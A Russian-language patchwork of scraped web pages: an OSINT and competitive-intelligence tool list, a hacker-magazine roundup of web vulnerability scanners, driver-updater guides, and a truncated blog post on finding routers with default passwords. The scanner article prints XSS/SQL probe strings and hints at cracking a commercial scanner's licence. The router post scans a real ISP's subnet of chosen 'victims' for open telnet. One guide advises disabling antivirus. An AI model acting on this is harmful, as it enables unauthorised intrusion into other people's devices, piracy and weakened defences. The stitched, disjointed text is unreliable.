Софт и сервисы для профессионального поиска
Для профессионального поиска в Интернете необходимы специализированный софт, а также специализированные поисковики и поисковые сервисы.
ПРОГРАММЫ
http://dr-watson.wix.com/home – программа предназначена для исследования массивов текстовой информации с целью выявления сущностей и связей между ними. Результат работы – отчет об исследуемом объекте.
http://www.fmsasg.com/- одна из лучших в мире программ по визуализации связей и отношений Sentinel Vizualizer. Компания полностью русифицировала свои продукты и подключил горячую линию на русском.
http://www.newprosoft.com/ – “Web Content Extractor” является наиболее мощным, простым в использовании ПО извлечения данных из web сайтов. Имеет также эффективный Visual Web паук.
SiteSputnik – не имеющий в мире аналогов программный комплекс, позволяющий вести поиск и обработку его результатов в Видимом и Невидимом Интернете, используя все необходимые пользователю поисковики.
WebSite-Watcher – позволяет проводить мониторинг веб-страниц, включая защищенные паролем, мониторинг форумов, RSS каналов, групп новостей, локальных файлов. Обладает мощной системой фильтров. Мониторинг ведется автоматически и поставляется в удобном для пользователя виде. Программа с расширенными функциями стоит 50 евро. Постоянно обновляется.
http://www.scribd.com/ – наиболее популярная в мире и все более широко применяемая в России платформа размещения различного рода документов, книг и т.п. для свободного доступа с очень удобным поисковиком по названиям, темам и т.п.
http://www.atlasti.com/ – представляет собой самый мощный и эффективный из доступных для индивидуальных пользователей, небольшого и даже среднего бизнеса инструмент качественного анализа информации. Программа многофункциональная и потому полезная. Совмещает в себе возможности создания единой информационной среды для работы с различными текстовыми, табличными, аудио и видеофайлами, как единым целым, а также инструменты качественного анализа и визуализации.
Ashampoo ClipFinder HD – все возрастающая доля информационного потока приходится на видео. Соответственно, конкурентным разведчикам нужны инструменты, позволяющие работать с этим форматом. Одним из таких продуктов является представляемая бесплатная утилита. Она позволяет осуществлять поиск роликов по заданным критериям на видеофайловых хранилищах типа YouTube. Программа проста в использовании, выводит на одну страницу все результаты поиска с подробными сведениями, названиями, длительностью, временем, когда видео было загружено в хранилище и т.п. Имеется русский интерфейс.
http://www.advego.ru/plagiatus/ – программа сделана seo оптимизаторами, но вполне подходит как инструмент интернет-разведки. Плагиатус показывает степень уникальности текста, источники текста, процент совпадения текста. Также программа проверяет уникальность указанного URL. Программа бесплатная.
http://neiron.ru/toolbar/ – включает надстройку для объединения поиска Google и Yandex, а также позволяет осуществлять конкурентный анализ, базирующийся на оценке эффективности сайтов и контекстной рекламы. Реализован как плагин для FF и GC.
http://web-data-extractor.net/ – универсальное решение для получения любых данных, доступных в интернете. Настройка вырезания данных с любой страницы производится в несколько кликов мыши. Вам нужно просто выбрать область данных, которую вы хотите сохранять и Datacol сам подберет формулу для вырезания этого блока.
CaptureSaver – профессиональный инструмент исследования интернета. Просто незаменимая рабочая программа, позволяющая захватывать, хранить и экспортировать любую интернет информацию, включая не только web страницы, блоги, но и RSS новости, электронную почту, изображения и многое другое. Обладает широчайшим функционалом, интуитивно понятным интерфейсом и смешной ценой.
http://www.orbiscope.net/en/software.html – система веб мониторинга по более чем доступным ценам.
http://www.kbcrawl.co.uk/ – программное обеспечение для работы, в том числе в «Невидимом интернете».
http://www.copernic.com/en/products/agent/index.html – программа позволяет вести поиск, используя более 90 поисковых систем, более чем по 10 параметрам. Позволяет объединять результаты, устранять дубликаты, блокировать нерабочие ссылки, показывать наиболее релевантные результаты. Поставляется в бесплатной, личной и профессиональной версиях. Используется больше чем 20 млн.пользователей.
Maltego – принципиально новое программное обеспечение, позволяющее устанавливать взаимосвязь субъектов, событий и объектов в реале и в интернете.
СЕРВИСЫ
new https://where-you.com/ – эффективный поисковик-агрегатор для поиска людей в основных российских социальных сетях.
https://hunter.io/ – эффективный сервис для обнаружения и проверки email.
https://www.whatruns.com/ – простой в использовании, но эффективный сканер, позволяющий обнаружить, что работает и не работает на веб-сайте и каковы дыры в безопасности. Реализован также как плагин к Chrom.
https://www.crayon.co/ – американская бюджетная платформа рыночной и конкурентной разведки в интернете.
http://www.cs.cornell.edu/~bwong/octant/ – определитель хостов.
https://iplogger.ru/ – простой и удобный сервис для определения чужого IP.
http://linkurio.us/ – новый мощный продукт для работников экономической безопасности и расследователей коррупции. Обрабатывает и визуализирует огромные массивы неструктурированной информации из финансовых источников.
http://www.intelsuite.com/en – англоязычная онлайн платформа для конкурентной разведки и мониторинга.
http://yewno.com/about/ – первая действующая система перевода информации в знания и визуализации неструктурированной информации. В настоящее время поддерживает английский, французский, немецкий, испанский и португальский языки.
https://start.avalancheonline.ru/landing/?next=%2F – прогнозно-аналитические сервисы Андрея Масаловича.
https://www.outwit.com/products/hub/ – полный набор автономных программ для профессиональной работы в web1.
https://github.com/search?q=user%3Acmlh+maltego – расширения для Maltego.
http://www.whoishostingthis.com/ – поисковик по хостингу, IP адресам и т.п.
http://appfollow.ru/ – анализ приложений на основе отзывов, ASO оптимизации, позиций в топах и поисковых выдачах для App Store, Google Play и Windows Phone Store.
http://spiraldb.com/ – сервис, реализованный как плагин к Chrom, позволяющий получить множество ценной информации о любом электронном ресурсе.
https://millie.northernlight.com/dashboard.php?id=93 — бесплатный сервис, собирающий и структурирующий ключевую информацию по отраслям и компаниям. Есть возможность использования информационных панелей основанных на текстовом анализе.
http://byratino.info/ – сбор фактографических данных из общедоступных источников в сети Интернет.
http://www.datafox.co/ – CI платформа собирающая и анализирующая информацию по интересующим клиентов компаниям. Есть демо.
https://unwiredlabs.com/home — специализированное приложение с API для поиска по геолокации любого устройства, подключенного к интернету.
http://visualping.io/ – сервис мониторинга сайтов и в первую очередь имеющихся на них фотографий и изображений. Даже если фотография появилась на секунду, она будет в электронной почте подписчика. Имеет плагин для GoogleChrome.
http://spyonweb.com/ – исследовательский инструмент, позволяющий осуществить глубокий анализ любого интернет-ресурса.
http://bigvisor.ru/ – сервис позволяет отслеживать рекламные компании по определенным сегментам товаров и услуг, либо конкретным организациям.
http://www.itsec.pro/2013/09/microsoft-word.html – инструкция Артема Агеева по использованию программ Windows для нужд конкурентной разведки.
http://granoproject.org/ – инструмент с открытым исходным кодом для исследователей, которые отслеживают сети связей между персонами и организациями в политике, экономике, криминале и т.п. Позволяет соединять, анализировать и визуализировать сведения, полученные из различных источников, а также показывать существенные связи.http://imgops.com/ – сервис извлечения метаданных из графических файлов и работы с ними.
http://sergeybelove.ru/tools/one-button-scan/ – маленький он-лайн сканер для проверки дыр безопасности сайтов и других ресурсов.
http://isce-library.net/epi.aspx – сервис поиска первоисточников по фрагменту текста на английском языке
https://www.rivaliq.com/ – эффективный инструмент для ведения конкурентной разведки на западных, в первую очередь, европейских и американских рынках товаров и услуг.
http://watchthatpage.com/ – сервис, который позволяет автоматически собирать новую информацию с поставленных на мониторинг ресурсов в интернете. Услуги сервиса бесплатные. http://falcon.io/ – своего рода Rapportive для Web. Он не является заменой Rapportive, а дает дополнительные инструменты. В отличие от Rapportive дает общий профиль человека, как бы склеенный из данных из социальных сетей и упоминаний в web.http://watchthatpage.com/ – сервис, который позволяет автоматически собирать новую информацию с поставленных на мониторинг ресурсов в интернете. Услуги сервиса бесплатные.http://agregator.pro/ – агрегатор новостных и медийных порталов. Используется маркетологами, аналитиками и т.п. для анализа новостных потоков по тем или иным темам.
http://price.apishops.com/ – автоматизированный веб-сервис мониторинга цен по выбранным товарным группам, конкретным интернет-магазинам и другим параметрам.
http://www.la0.ru/ – удобный и релевантный сервис анализа ссылок и бэклинков на интернет-ресурс.
www.recordedfuture.com – мощный инструмент анализа данных и их визуализации, реализованный как он-лайн сервис, построенный на «облачных» вычислениях.
http://advse.ru/ – сервис под слоганом «Узнай все про своих конкурентов». Позволяет в соответствии с поисковыми запросами получить сайты конкурентов, анализировать рекламные компании конкурентов в Google и Yandex.
http://spyonweb.com/ – сервис позволяет определить сайты с одинаковыми характеристиками, в том числе, использующими одинаковые идентификаторы сервиса статистики Google Analytics, IP адреса и т.п.
http://www.connotate.com/solutions – линейка продуктов для конкурентной разведки, управления информационными потоками и преобразования сведений в информационные активы. Включает как сложные платформы, так и простые дешевые сервисы, позволяющие эффективно вести мониторинг вместе с компрессией информации и получением только нужных результатов.
http://www.clearci.com/ – платформа конкурентной разведки для бизнеса различных размеров от стартапов и маленьких компаний до компаний из списка Fortune 500. Решена как saas.
http://startingpage.com/ – надстройка на Google, позволяющая вести поиск в Google без фиксации вашего IP адреса. Полностью поддерживает все поисковые возможности Google, в том числе и а русском языке.
http://newspapermap.com/ – уникальный сервис, очень полезный для конкурентного разведчика. Соединяет геолокацию с поисковиком он-лайн медиа. Т.е. вы выбираете интересующий вас регион или даже город, или язык, на карте видите место и список он-лайн версий газет и журналов, нажимаете на соответствующую кнопку и читаете. Поддерживает русский язык, очень удобный интерфейс.
http://infostream.com.ua/ – очень удобная отличающаяся первоклассной выборкой, вполне доступная для любого кошелька система мониторинга новостей «Инфострим» от одного из классиков интернет-поиска Д.В.Ландэ.
http://www.instapaper.com/ – очень простой и эффективный инструмент для сохранения необходимых веб-страниц. Может использоваться на компьютерах, айфонах, айпадах и др.
http://screen-scraper.com/ – позволяет автоматически извлекать всю информацию с веб-страниц, скачивать подавляющее большинство форматов файлов, автоматически вводить данные в различные формы. Скачанные файлы и страницы сохраняет в базах данных, выполняет множество других чрезвычайно полезных функций. Работает под всеми основными платформами, имеет полнофункциональную бесплатную и очень мощные профессиональные версии.
http://www.mozenda.com/- имеющий несколько тарифных планов и доступный даже для малого бизнеса веб сервис многофункционального веб мониторинга и доставки с избранных сайтов необходимой пользователю информации.
http://www.recipdonor.com/- сервис позволяет осуществлять автоматический мониторинг всего происходящего на сайтах конкурентов.
http://www.spyfu.com/ – а это, если у вас конкуренты иностранные.
www.webground.su – созданный профессионалами Интернет-поиска сервис для мониторинга Рунета, включающий всех основных поставщиков информации, новостей и т.п., способен к индивидуальным настройкам мониторинга под нужды пользователя.
ПОИСКОВИКИ
https://www.idmarch.org/ – лучший по качеству выдачи поисковик мирового архива pdf документов. В настоящее время проиндексировано более 18 млн. pdf документов, начиная от книг, заканчивая секретными отчетами.
http://www.marketvisual.com/ – уникальный поисковик, позволяющий вести поиск собственников и топ-менеджмента по ФИО, наименованию компании, занимаемой позиции или их комбинации. В поисковой выдаче содержатся не только искомые объекты, но и их связи. Рассчитана прежде всего на англоязычные страны.
http://worldc.am/ – поисковик по фотографиям в свободном доступе с привязкой к геолокации.
https://app.echosec.net/ – общедоступный поисковик, который характеризует себя как самый продвинутый аналитический инструмент для правоохранительных органов и профессионалов безопасности и разведки. Позволяет вести поиск фотографий, размещенных на различных сайтах, социальных платформах и в социальных сетях в привязке к конкретным геолокационным координатам. В настоящее время подключено семь источников данных. До конца года их число составит более 450. За наводку спасибо Дементию.
http://www.quandl.com/ – поисковик по семи миллионам финансовых, экономических и социальных баз данных.
http://bitzakaz.ru/ – поисковик по тендерам и госзаказам с дополнительными платными функциями
Website-Finder – дает возможность найти сайты, которые плохо индексирует Google. Единственным ограничением является то, что для каждого ключевого слова он ищет только 30 веб-сайтов. Программа проста в использовании.
http://www.dtsearch.com/ – мощнейший поисковик, позволяющий обрабатывать терабайты текста. Работает на рабочем столе, в интернете и в интранете. Поддерживает как статические, так и динамические данные. Позволяет искать во всех программах MS Office. Поиск ведется по фразам, словам, тегам, индексам и многому другому. Единственная доступная система федеративного поиска. Имеет как платную, так и бесплатную версии.
http://www.strategator.com/ – осуществляет поиск, фильтрацию и агрегацию информации о компании из десятка тысяч веб-источников. Ищет по США, Великобритании, основным странам ЕЭС. Отличается высокой релевантностью, удобностью для пользователя, имеет бесплатные и платный вариант (14$ в месяц).
http://www.shodanhq.com/ – необычный поисковик. Сразу после появления получил кличку «Гугл для хакеров». Ищет не страницы, а определяет IP адреса, типы роутеров, компьютеров, серверов и рабочих станций, размещенных по тому или иному адресу, прослеживает цепочки DNS серверов и позволяет реализовать много других интересных функций для конкурентной разведки.
http://search.usa.gov/ – поисковик по сайтам и открытым базам всех государственных учреждений США. В базах находится много практической полезной информации, в том числе и для использования в нашей стране.
http://visual.ly/ – сегодня все шире для представления данных используется визуализация. Это первый поисковик инфографики в Вебе. Одновременно с поисковиком на портале есть мощные инструменты визуализации данных, не требующие навыков программирования.
http://go.mail.ru/realtime –поиск по обсуждениям тем, событий, объектов, субъектов в режиме реального, либо настраиваемого времени. Ранее крайне критикуемый поиск в Mail.ru работает очень эффективно и дает интересную релевантную выдачу.
Zanran – только что стартовавший, но уже отлично работающий первый и единственный поисковик для данных, извлекающий их из файлов PDF, таблиц EXCEL, данных на страницах HTML.
http://www.ciradar.com/Competitive-Analysis.aspx – одна из лучших в мире систем поиска информации для конкурентной разведки в «глубоком вебе». Извлекает практически все виды файлов во всех форматах по интересующей теме. Реализована как веб-сервис. Цены более чем приемлемые.
http://public.ru/ – Эффективный поиск и профессиональный анализ информации, архив СМИ с 1990 года. Интернет-библиотека СМИ предлагает широкий спектр информационных услуг: от доступа к электронным архивам публикаций русскоязычных СМИ и готовых тематических обзоров прессы до индивидуального мониторинга и эксклюзивных аналитических исследований, выполненных по материалам печати.
Cluuz – молодой поисковик с широкими возможностями для конкурентной разведки, особенно, в англоязычном интернете. Позволяет не только находить, но и визуализировать, устанавливать связи между людьми, компаниями, доменами, e-mail, адресами и т.п.
www.wolframalpha.com – поисковик завтрашнего дня. На поисковый запрос выдает имеющуюся по объекту запроса статистическую и фактологическую информацию, в том числе, визуализированную.
www.ist-budget.ru – универсальный поиск по базам данных госзакупок, торгов, аукционов и т.п.
hrazvedka.ru
Автоматический поиск уязвимостей — «Хакер»
Ты наверное до сих пор думаешь, что хакеры ищут уязвимости в программных
продуктах в ручную, постоянно смотря в исходный код или ручками вставляя
спецсимволы в переменные скриптов? Ты глубоко ошибаешься, мой дорогой друг.
Существует масса пауков сканеров и вспомогательных программ, которые позволяют
по максимуму сократить время исследования. Конечно, многие из них стоят кучу
денег. поэтому достать их проблематично (хотя вполне реально, те же Xspider,
Nessus), другие же не обладают нужной функциональностью. Но всегда есть золотая
середина. Сейчас я поведаю о очень полезных бесплатных программках которые
окажут отличную помощь взломщику, а также затронем тему локального поиска
уязвимостей в исходниках вебскриптов.
RPVS — во Франции также есть хакеры
Платформа: Windows
Ссылка:
http://81.57.125.106/~slythers/rpvsinstall.exe
Скромную заметку о этой программе я на днях отыскал на одном элитном
международном хакерском форуме. Программа однозначно из класса Must Have. Тем
более, что софтина имеет как консольный, так и графический интерфейс. Полное ее
название — Remote PHP Vulnerability Scanner. Этот сканер затачивался под
удаленное исследование сайтов написанных на PHP. Программа способна находить
такие уязвимости: XSS, SQL-Injection, уязвимости подключения файлов функциями
include() и fopen() и раскрытия инсталляционного пути. Программа работает как с
GET, так и POST запросами. Имеет несколько режимов работы и отличную скорость
сканирования. Принцип ее работы состоит в полном собрании линков с сайта, после
чего подставляют спецсимволы в переменные и проводится анализ на показанных PHP
ошибках и сигнатурах. Протестировав ее на одном из небольших сайтов, я получил
подробный отчет о найденных уязвимостях.
Rapport on http://test3.ru/
Number of made request: 24
vuln include: 0
vuln xss: 12
err fopen: 0
err inc: 0
err sql: 0
—————————————————-
Vuln XSS :
/?year=2006&month=02&day=6941337<a>%22%27
/?year=6941337<a>%22%27&month=01
/?year=6941337<a>%22%27&month=02&day=05
/?year=2006&month=6941337<a>%22%27&day=05
/?year=6941337<a>%22%27&month=03
/?year=6941337<a>%22%27&month=02
/?year=6941337<a>%22%27&month=12
Vuln SQL :
/?id=6941337<a>%22%27
/?id=15&c=6941337<a>%22%27
—
Видишь, неплохой отчет. Автоматизация — отличный процесс, который неплохо
экономит время и нервы. Да, кстати, в сети есть вполне компилируемые исходники
этой чудо программы —
http://81.57.125.106/~slythers/rpvsv1.3-src.rar.
В некоторых случаях, когда масштабное сканирование не удается произвести, работу
можно полуавтомазировать с помощью такого софта как Mini-Browser (http://www.aignes.com)
и Advanced HTTP Header Constructor 1.2 (http://www.ru24-team.net).
Программы умеют многое и в любом случае тебе понадобятся, Mini-Browser позволяет
подделывать POST/GET запросы и кукисы, а также вытаскивать все ссылки на
странице. В программу встроен браузер (на движке ИЕ), что делает работу еще
удобнее. Ну а эстеты могут посмотреть на других вкладках исходник или лог
Клиент-Сервер. Advanced HTTP Header Constructor работает с HTTP-заголовками,
позволяет составлять/подделывать/отсылать POST и GET заголовки, а также многое
другое. Для установки нужен свежий Framework.
Acunetix Web Vulnerability Scanner 3 — Достойная замена XSpider
Платформа: Windows
Ссылка:
http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner3.exe
Когда-то просматривая каталог линков с astalavista.box.sk я и наткнулся на
эту программу. Ее описание мне пришлось по вкусу. По своим возможностям она даже
превосходит XSpider. Acunetix Web Vulnerability Scanner — cканер уязвимостей
вэб-сайтов, сканирует как комплексно так и профильно, то есть Cross site
scripting, SQL injection, cgi-test, CRLF Injection, Directory traversal,
Authentication hacking. Также в сканере присутствует очень интересный тип атаки
— Google hacking на определенный сайт. Этот тип атаки использует поисковые
системы для поиска уязвимостей, что очень полезно и оригинально. Сканер также
отлично определяет версии веб-сервера и его модули. Плюс в него встроены
различные перекодировщики и шифровальщик, HTTP снифер и средства подмены
заголовков. Этот софт обязательно должен поселится в джентльменском наборе
хакера. Так что не поленись, скачай и зацени! Плохо лишь одно, как и все
программные продукты подобного рода, этот софт стоит больших денег (1500$). Но
все лечится, защита там слабенькая. Тем более обновление доступно и в
trial-версии. Кто ищет, тот всегда найдет. Я нашел 🙂
Google – Величайший сканер уязвимостей
С помощью поисковых систем, на самом деле, очень удобно искать нужные
уязвимые скрипты. Нужно только вспомнить о эпидемии червячка Santy, который
искал в Google все бажные phpBB форумы. Подробнее о червячке можно почитать
здесь —
http://www.f-securлe.com/v-descs/santy_a.shtml. Также примеры реализации
подобных сканеров ты найдешь на сайте команды AntiSecurity (http://antisec.2×4.ru).
Так что при грамотном написании программы и хорошей уязвимости, хакер получает
контроль над огромным количеством сайтов.
Теперь мне бы хотелось затронуть тему переполнения буфера. Искать уязвимости
такого типа вручную можно несколько лет, так что будем автоматизировать 🙂
Кстатиь, компания eyee.com утверждает, что большинство уязвимостей они нашли
автоматически, используя специальное программное обеспечение.
RATS — Грубый Инструмент Ревизии для Защиты
Платформа: Windows
Ссылка:
http://www.securesoftware.com/rats/
RATS, Rough Auditing Tool for Security (Грубый Инструмент Ревизии для Защиты)
является утилитой ревизии защиты для C и C ++ кода. RATS просматривает исходный
текст, находя потенциально опасные обращения к функциям. Цель этого инструмента
— не окончательный поиск ошибки, а скорее обеспечение разумной отправной точки
для выполнения ручной ревизий защиты. Мой хороший знакомый уже давно пользуется
данной программой и очень доволен ее результатами. И еще конечно же радует
открытость ее исходного кода.
Также следует обратить внимание на аналогичный софт под названием ITS4 (http://www.securitylab.ru/_tools/its4-1.1.1.tgz).
Этот инструмент командной строки ищет уязвимости C и C ++ кода и работает на
платформах Windows и Unix. Есть еще одна полезная программа из данного класса —
Flawfinder (http://www.dwheeler.com/flawfinder/).
В отличие от ITS4, flawfinder имеет полностью открытое программное обеспечение
(распространяется согласно лицензии GPL).
BofCheck — Buffer Overflow, Environment Variables Overflow/Format String
Vulnerabilities Binary Tester
Платформа: FreeBSD
Ссылка: http://oc192.1afm.com/
BofCheck используется для проверки программ на наличие основных уязвимостей.
Программа проверяет переполнение буфера и уязвимости в параметрах командной
строки. Софтину стоит использовать только когда нет под рукой исходного кода или
поиск в нем не дал результатов.
Qaudit — Perl приходит на помощь
Оказывается классные вещи можно написать на интерпретируемом языке Perl.
Qaudit.pl — сценарий для быстрой ревизии C и C ++ исходных файлов на наличие
переполнения буфера, ошибок форматной строки, запросов исполняемых вызовов,
переменных среды, и разных функций, которые часто имеют проблемы защиты. Лично я
не ожидал от скрипта таких возможностей 🙂 Кстати, на Perl написано множество
полезных программ, таких как cgi-сканеры, эксплоиты, и даже IDS системы!
Скачивай скриптик от сюда —
http://www.SecurityLab.ru/_exploits/other/qaudit.txt.
Между прочим
Что касается глобальной автоматизации, то автоматизировать можно все. Но
нужно ли это? Не всегда автоматизация помогает, так что ты сам должен решать
каждый раз как действовать. В статье я специально не рассмотрел популярный софт,
такой как XSpider, Hydra и им подобные, о них многие знают, да и писать бы
пришлось целую книгу. Более подробно о способах внутреннего обследования системы
можешь почитать в моей статье «Демократичный
хостинг».
xakep.ru
Автоматическая установка и обновление драйверов в Windows XP/7/8/10 💻
Драйвера отвечают за работу физических устройств, например таких как звуковой чип, видеокарта, контроллер жестких дисков и USB-устройств, сеть Ethernet и Wi-Fi, принтеры и т.д. Если драйвера нет вообще, то устройство просто не работает, система его «не видит».
Если драйвер сильно устарел, то может быть всё нормально, но самый свежий драйвер улучшает стабильность работы устройства, и, следовательно, всей системы. Также уменьшается конфликтность с другими устройствами.
По умолчанию, используются встроенные в Windows драйвера от Microsoft. Встроенный драйвер позволяет устройству запуститься со стандартными параметрами и они не обновляются. Для большинства устройств есть драйвера от производителя, например от Intel. Драйвера от производителя обновляются и часто имеют расширенные настройки.
Обычно, для установки нового драйвера или обновления имеющегося, нужно:
- зайти на сайт производителя
- указать модель устройства, версию и разрядность Windows
- скачать и установить драйвер из программы установки или диспетчер устройств.
И так с каждым устройством, коих может быть ни один десяток, включая системные.
Программа DriverHub
Вместо ручной установки можно пользоваться специальной программой для автоматического поиска драйверов. Программа сканирует систему и сверяется со своей базой. Каждое устройство имеет уникальный идентификатор производителя и модели. Далее сверяются установленная версия драйвера с информацией о последних обновлениях в базе данных. На основе полученной информации скачиваются самые подходящие драйверы.
Обычно программы на этапе установки начинают требовать купить премиум версию. В этой статье речь пойдёт о полностью бесплатной программе DriverHub.
Скачать DriverHub
Вы можете посмотреть видео или продолжить чтение статьи:
Программа для обновления драйверов DriverHub имеет все необходимые функции, присущие менеджерам драйверов:
- Автоматический поиск на компьютере/ноутбуке отсутствующих или устаревших драйверов.
- Скачивание нужного программного обеспечения с собственного хранилища в интернете
- Установка драйверов на компьютер в автоматическом режиме.
- Возможность отмены (откат до предыдущей версии) установки/обновления драйвера.
Интерфейс у программы довольно простой, для начала работы достаточно нажать большую кнопку «Найти сейчас»
Всего через 10-20 секунд программа покажет найденные драйвера, одним нажатием кнопки их все можно установить. Но я рекомендую перейти в «Режим Эксперта» и проверить что хочет установить программа:
Теперь заходим в каждое устройство и сравниваем информацию о текущем драйвере справа и кандидатом на установку слева. Важно учитывать следующие моменты:
- Хорошо, если текущий производитель Microsoft, а новый драйвер от другого производителя, предположительно от разработчика устройства и более новый
- Не рекомендуется менять драйвер от разработчика, т.е. отличного от Microsoft, на драйвер другого разработчика. Например, менять Intel на Synaptics
- Хорошо, если дата выпуска драйвера новее, но программа может ошибаться и предложить более старый драйвер
- Хорошо, если версия драйвера выше, но она может быть и ниже, если другой производитель или новая линейка драйверов.
Например, если «старый драйвер» версии 10.0.0.1 от 2009 года, а «новый» версии «4.1.3.0» от 2018 года, то предпочтение отдаётся «новому» драйверу.
Повторяю, этого можно не делать и полностью довериться программе! Итак, оставляем галочки на отобранных драйверах и нажимаем «Установить». Напротив каждого устройства должно появиться слово «Установлено». Если же у вас одни ошибки, то вероятно программе мешает антивирус. У меня стоит ESET NOD32 и ни один драйвер не устанавливался, хотя и никаких предупреждений об ошибках я не получил.
Проблема в том, что переустановка драйверов это довольно серьёзная процедура для Windows, и антивирус просто блокирует такие функции, особенно в автоматическом режиме без участия пользователя. Выход один – на время работы программы выключать защиту антивируса. Это безопасно, в чём можно убедиться если почитать отзывы людей в интернете о DriverHub. Также можно самому открыть временную папку и убедиться, что туда загружены те же файлы драйверов, которые можно скачать с официальных сайтов разработчиков.
Настройки и Восстановление
В настройках DriverHub вы найдёте тот самый путь к папке, в которую сохраняются новые драйверы. Обратите внимание на галочку «Проверять системные устройства»
Если сильно боитесь, что после обновления система не будет работать, то снимете эту галку. В этом случае новые «дрова» будут подбираться только для периферийных устройств, таких как принтер, звуковая, сетевая карта и др.
В любом случае, если устройства перестанут функционировать или что-то пойдёт не так, можно вернуться к разделу программы «Восстановление» и вернуть все драйверы, или какой-то один, в исходное состояние. Кроме этой возможности, рекомендую также предварительно создать точку восстановления системы.
Преимущества DriverHub
- Менеджер драйверов DriverHub обладает следующими преимущественными особенностями:
- Установка и использование программы не требует никаких денежных вложений, нет ограничений по длительности эксплуатации или количеству установленных драйверов.
- Гарантия безопасной установки программного обеспечения (предлагаемые к загрузке драйверы проверяются на наличие вирусов).
- Возможность запуска на любых (даже слабых) компьютерах под управление Windows (все версии выше Windows XP).
- Возможность установки и запуска программы со съемных носителей (флешек, дисков и т.д.). Единственное требование — наличие доступа в интернет.
it-like.ru
Три лучшие программы для автоматической установки драйверов
Менеджеры установки драйверов чаще используются работниками сервисных центров. Но могут оказаться крайне полезны и нам – начинающим ПК-пользователям. В этой статье я расскажу о трех простых driver-менеджерах.
Стоит отметить что с помощью. приведенный ниже программ не удастся установить драйвера к принтерам и сканерам. Для них нужно будет скачивать драйвера отдельно. На сайте вы найдете драйвера к самым популярным принтерам и МФУ. Например к ФМУ Сanon MF 4018 или принтеру Canon LBP3010. Это очень надежные аппараты которые завоевали в свое время большинство пользователей которые и по сей день не хотят от них отказываться. Но если это не ваши принтеры то переходите в раздел Принтеры и драйвера там наверняка вы найдете свой принтер.
Три лучшие программы для установки драйверов
DriverPack Solution
Утилита DriverPack Solution – удобный менеджер по установке драйверов. Благодаря возможности поиска и установке драйверов через интернет, ее дистрибутив занимает менее 300 кб. Для удобства сканирует систему при каждом запуске и показывает, какие устройства требуют установки или обновления. В режиме «эксперт» позволяет самостоятельно выбрать, что инсталлировать или обновлять.
Как установить или обновить драйвера с помощью DriverPack Solution
Первое что нужно сделать это зайти на сайт https://drp.su/ru/foradmin и скачать DriverPack Solution Online
После запуска дистрибутива и установки программа автоматически предложит установить некоторые драйвера и полезный с ее точки зрения софт, но я рекомендую не запускать этот процесс. Чтобы программа случайно не установила ненужные нам программы, например браузер Amigo, бесплатный антивирус Avast и другие программы, которые только засоряет систему и мешают ее стабильной работе, советую кликнуть пункт Режим эксперта.
Тут нужно отметить те драйвера которые вы хотите установить или обновить. Так же необходимо перейти в раздел Софт и снять галочки с программ таких как Яндекс браузер аваст и т.д. Но если вы хотите их установить тогда все оставляем так как есть или добавляем нужный софт и кликаем Установить все.
Когда DriverPack Solution завершит свою работу, необходимо перезагрузить компьютер.
Snappy Driver Installer
Менеджер установки драйверов Snappy Driver Installer так же работает в онлайн-режиме. Результаты сканирования системы отображаются непосредственно в разделе с устройствами для удобной ручной настройки утилиты. Показывает информацию о процессоре, версии ОС, легко настраивается.
Как пользоваться программой Snappy Driver Installer
Переходим на официальный сайт https://sdi-tool.org/?lang=ru и кликаем скачать.
Выбрать Full или Lite версию программы. Различия между ними в том, что первая предлагает нам, помимо возможности установки драйверов через интернет, собственный набор программного обеспечения. Советую скачать легкую версию;
После установки программа просканирует систему и отобразит в главном окне информацию о контроллерах устройств. Затем, руководствуясь информацией, выдаваемой самой программой (если драйвер актуален, он будет подсвечен зеленым, если требуется обновление или установка – красным), отметить галочками. Так как на моем ПК все драйвера установлены и обновлены программа не нашла обновлений. Кликнуть по клавише «установить» в правом углу окна. Дождавшись завершения процесса установки, выполнить reboot системы. Снова запустить программу, чтобы убедиться – все версии драйверов актуальны;
Driver Genius
Многофункциональный драйвер-менеджер Driver Genius способен не только инсталлировать контроллеры устройств. Но так же делать их резервную копию, восстанавливать до исходного состояния. Есть удобный планировщик для автоматического обновления.
Как обновить или установить драйвера с помощью Driver Genius
Скачать бесплатный дистрибутив с официального сайта разработчиков http://vsofte.biz/file/285/.
Первое, что стоит сделать – нажать клавишу «начать сканирование» в главном окне программы. Как только процесс завершится, менеджер предложит обновить устаревшие драйвера или скачать их для новых устройств.
Если мы хотим сделать это вручную, следует перейти в раздел «Веб-обновления»;
Как только программа завершит свою работу, компьютер следует перезагрузить. С помощью этой программы можно сделать бэкап всех драйверов, переустановку или удаление.
Как мы видим, современные инсталляторы обладают широким набором функций, которые подойдут как рядовым пользователям, так и профессионалам. Их отличает простой понятный интерфейс и наличие множества полезных функций. Но лично я советую пользоваться DriverPack Solution это самый надежный простой и быстрый способ обновить или установить драйвера.
www.softo-mir.ru
Автоматический поиск роутеров со стандартными паролями / Habr
Недавно мне пришла в голову банальная мысль, что большинство людей кладут на настройку своих роутеров, и на них можно зайти по дефолтным паролям. А много ли таких роутеров вдобавок открыты для входа из интернета, что делает их проходным двором? И как это по-быстрому проверить?Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.
Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.
Первая мысль, которая приходит в голову: сканировать nmap’ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!
Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.
nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt
Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ
--open позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.
Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:
grep -o -E '([0-9]{1,3}[\.]){3}[0-9]{1,3}' raw_log.txt > log.txt
Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ
